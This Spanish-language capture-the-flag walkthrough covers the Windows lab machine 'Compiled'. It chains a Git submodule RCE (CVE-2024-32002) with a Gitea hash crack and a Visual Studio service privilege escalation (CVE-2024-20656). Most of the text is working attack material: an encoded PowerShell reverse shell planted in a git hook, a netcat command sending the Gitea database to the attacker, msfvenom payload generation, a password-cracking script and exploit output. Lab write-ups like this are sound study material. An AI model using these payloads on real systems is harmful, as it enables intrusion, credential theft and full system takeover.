Compiled

OS: Windows
Dificultad: Medio
Puntos: 30

Nmap

nmap -p 3000,5000,5985,7680 -sV -sC -oN nmap.txt 10.129.161.73
Nmap scan report for 10.129.161.73
Host is up (0.029s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE SERVICE
3000/tcp open  ppp
5000/tcp open  upnp
5985/tcp open  wsman
7680/tcp open  pando-pub

Enumeration

Analizando el entorno actual y despues de dedicar tiempo nos percatamos que la aplicacion en el puerto 3000 es vulnerable al siguiente CVE 2024-32002 que nos permite obtener RCE.

Creamos un nuevo usuario y realizamos los siguientes pasos.

Git RCE (CVE 2024-32002)

Nos ayudamos de diferentes recursos para lograr explotar esta vulnerabilidad.

https://github.com/safebuffer/CVE-2024-32002
https://github.com/amalmurali47/git_rce
http://web.archive.org/web/20240524091217/https://securemyorg.com/blogs/git-rce-cve-2024-32002/

De la forma que se logro obtener RCE correctamente es la siguiente. Primero creamos dos proyectos vacios en git.

Ahora ejecutamos los siguientes comandos. Configuramos algunas caracteristica de git para evitar futuros problemas.

git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main
git config --global user.name "doom"
git config --global user.email doom@slayer.com

Clonamos nuestro primer repositorio y creamos nuestro payload.

git clone http://10.129.36.79:3000/test/test1.git
cd test1
mkdir -p y/hooks
cat > y/hooks/post-checkout <<EOF
#!bin/bash
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA5ACIALAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
git push
cd ..

Clonamos nuestro segundo repositorio y creamos con los archivos necesarios.

git clone http://10.129.36.79:3000/test/test2.git
cd test2
git submodule add --name x/y "http://10.129.36.79:3000/test/test1.git" A/modules/x
git commit -m "add-submodule"
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
git push

Una vez hecho lo anterior enviaremos la url de nuestro segundo repositorio en la aplicacion del puerto 5000.

Ahora solo esperamos a que se ejecute y recibimos nuestra reverse shell.

Lateral Movement

En la carpeta de gitea encontramos un archivo db, lo copiamos a nuestra maquina.

PS C:\Program Files\Gitea\data> cmd.exe /c "c:\temp\nc.exe -w 10 10.10.14.19 4444 < gitea.db"
nc -lvnp 4444 > gitea.db

Revisando el archivo encontramos passwords pero para crackearlos necesitamos realizar lo siguiente. Tome como referencia los recursos de abajo.

https://github.com/kxcode/KrackerGo
https://github.com/hashcat/hashcat/issues/1583

Convertimos los valores en base64 en este caso del usuario Emily.

┌──(root㉿kali)-[~/Compiled]
└─# perl -e 'print pack ("H*", "97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16")' | base64
l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=
┌──(root㉿kali)-[~/Compiled]
└─# perl -e 'print pack ("H*", "227d873cca89103cd83a976bdac52486")' | base64
In2HPMqJEDzYOpdr2sUkhg==

Los unimos con el siguiente formato salt + hash.

sha256:5000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=

Utilizando hashcat crackeamos el hash.

hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt

Tambien podemos utilizar el siguiente script.

import hashlib
import binascii

def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
    
    hash_value = hashlib.pbkdf2_hmac(
        'sha256', # hashing algorithm
        password.encode('utf-8'), # password
        salt, # salt
        iterations, # number of iterations
        dklen=dklen # key length
        )
        
    return hash_value

def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
    
    target_hash_bytes = binascii.unhexlify(target_hash)
    
    with open(dictionary_file, 'r', encoding='utf-8') as file:
        for line in file:
            password = line.strip()
            # generating hash
            hash_value = pbkdf2_hash(password, salt, iterations, dklen)
            # Check if hash is correct
            if hash_value == target_hash_bytes:
                print(f"Found password: {password}")
                return password
    
    print("Password not found.")
    return None

# Parameters
salt = binascii.unhexlify('227d873cca89103cd83a976bdac52486') # Salt from gitea.db
target_hash = '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16' # hash from gitea.db

# Patch to dictionary
dictionary_file = '/usr/share/wordlists/rockyou.txt'

find_matching_password(dictionary_file, target_hash, salt)

Obtenemos el password.

┌──(root㉿kali)-[~/Compiled]
└─# python3 crack.py
Found password: 12345678

Es posible conectarnos por winrm.

evil-winrm -i 10.129.36.79 -u emily -p 12345678

Privilege Escalation

Local Privilege Escalation VSStandardCollectorService150 (CVE-2024-20656)

Despues de investigar encontramos que el servicio es vulnerable al CVE-2024-20656 que nos permite escalar privilegios. Nos ayudamos de los siguientes recursos.

https://www.mdsec.co.uk/2024/01/cve-2024-20656-local-privilege-escalation-in-vsstandardcollectorservice150-service/
https://github.com/Wh04m1001/CVE-2024-20656

Creamos primero un archivo exe con nuestra reverse shell.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.35 LPORT=6666 -f exe -o shell.exe

Despues descargamos el proyecto de github y es necesario modificar las siguientes lineas (4 y 187) de codigo y adaptarlas a nuestro payload.

//WCHAR cmd[] = L"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";
WCHAR cmd[] = L"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";
...
...
...
//CopyFile(L"c:\\windows\\system32\\cmd.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
CopyFile(L"C:\\temp\\shell.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);

Compilamos el codigo en visual studio seleccionando la opcion Release en vez de Debug.

Cargamos los archivos en la maquina.

*Evil-WinRM* PS C:\temp> upload /root/htb/Box/Compiled/shell.exe
                                        
Info: Uploading /root/htb/Box/Compiled/shell.exe to C:\temp\shell.exe
                                        
Data: 9556 bytes of 9556 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\temp> upload /root/htb/Box/Compiled/Expl.exe
                                        
Info: Uploading /root/htb/Box/Compiled/Expl.exe to C:\temp\Expl.exe
                                        
Data: 230056 bytes of 230056 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\temp> upload /root/htb/Box/Compiled/RunasCs.exe
                                        
Info: Uploading /root/htb/Box/Compiled/RunasCs.exe to C:\temp\RunasCs.exe
                                        
Data: 68948 bytes of 68948 bytes copied
                                        
Info: Upload successful!

Iniciamos el servicio.

.\RunasCs.exe emily 12345678 "net start msiserver"
*Evil-WinRM* PS C:\temp> .\RunasCs.exe emily 12345678 "net start msiserver"

The Windows Installer service is starting.
The Windows Installer service was started successfully.

Por ultimo ejecutamos el comando.

.\RunasCs.exe emily 12345678 "c:\temp\Expl.exe"
*Evil-WinRM* PS C:\temp> .\RunasCs.exe emily 12345678 "c:\temp\Expl.exe"

[+] Junction \\?\C:\ed39e5c4-0000-4f33-89c3-e297e34574db -> \??\C:\96794dab-1519-499a-ab02-38dd788521b6 created!
[+] Symlink Global\GLOBALROOT\RPC Control\Report.0197E42F-003D-4F91-A845-6404CF289E84.diagsession -> \??\C:\Programdata created!
[+] Junction \\?\C:\ed39e5c4-0000-4f33-89c3-e297e34574db -> \RPC Control created!
[+] Junction \\?\C:\ed39e5c4-0000-4f33-89c3-e297e34574db -> \??\C:\96794dab-1519-499a-ab02-38dd788521b6 created!
[+] Symlink Global\GLOBALROOT\RPC Control\Report.0297E42F-003D-4F91-A845-6404CF289E84.diagsession -> \??\C:\Programdata\Microsoft created!
[+] Junction \\?\C:\ed39e5c4-0000-4f33-89c3-e297e34574db -> \RPC Control created!
[+] Persmissions successfully reseted!
[*] Starting WMI installer.
[*] Command to execute: C:\windows\system32\msiexec.exe /fa C:\windows\installer\8ad86.msi
[*] Oplock!
[+] File moved!

Para obtener shell como system.